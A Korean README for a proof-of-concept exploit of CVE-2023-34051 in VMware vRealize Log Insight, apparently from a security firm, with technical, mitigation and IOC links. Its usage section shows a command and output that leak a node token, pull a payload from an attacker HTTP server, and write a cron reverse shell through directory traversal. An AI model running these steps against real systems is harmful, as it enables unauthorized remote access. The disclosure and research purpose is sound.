CVE-2023-34051

CVE-2023-34051은 VMSA-2023-0001 패치를 우회하는 인증 우회(Authentication Bypass) 취약점입니다. vRealize Log Insight용 VMSA-2023-0001에는 다음 CVE가 포함됩니다:

VMware vRealize Log Insight 디렉터리 트래버설 취약점 (CVE-2022-31706)
VMware vRealize Log Insight 취약한 접근 제어 취약점 (CVE-2022-31704)
VMware vRealize Log Insight 정보 공개 취약점 (CVE-2022-31711)

이 취약점의 기본 구성은 역방향 셸(reverse shell)을 생성하는 cron 작업을 작성합니다. 환경에 맞게 payload 파일을 변경해야 합니다.

기술 분석

취약점에 대한 기술적 근본 원인 분석은 당사 블로그에서 확인할 수 있습니다: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive

침해 지표

Log Insight 인스턴스의 침해 지표를 분석하려면 당사 IOC 블로그를 확인하세요: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/

요약

이 POC는 IP 주소 스푸핑과 다양한 Thrift RPC 엔드포인트를 악용하여 임의 파일 쓰기를 달성합니다.

사용법

$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit 
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered

문제 해결

이 공격이 작동하려면 공격자가 마스터/워커 노드와 동일한 IP 주소를 가져야 합니다. 자세한 내용은 위 블로그를 참조하세요.

cron 기반 페이로드를 사용하는 경우 페이로드 파일에 적절한 권한과 소유자가 설정되어 있는지 확인하세요:

sudo chown root:root payload

sudo chmod 0644 payload

완화 방안

최신 버전으로 업데이트하거나 VMSA 내 지침에 따라 완화하세요: https://www.vmware.com/security/advisories/VMSA-2023-0021.html

면책 조항

이 소프트웨어는 순수하게 학술 연구 및 효과적인 방어 기술 개발 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용하기 위한 것이 아닙니다. 프로젝트 유지관리자는 이 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.

인기

CVE-2023-34051

CVE-2023-34051

기술 분석

침해 지표

요약

사용법

문제 해결

완화 방안

최신 보안 연구를 위해 Twitter에서 Horizon3.ai 공격 팀을 팔로우하세요:

면책 조항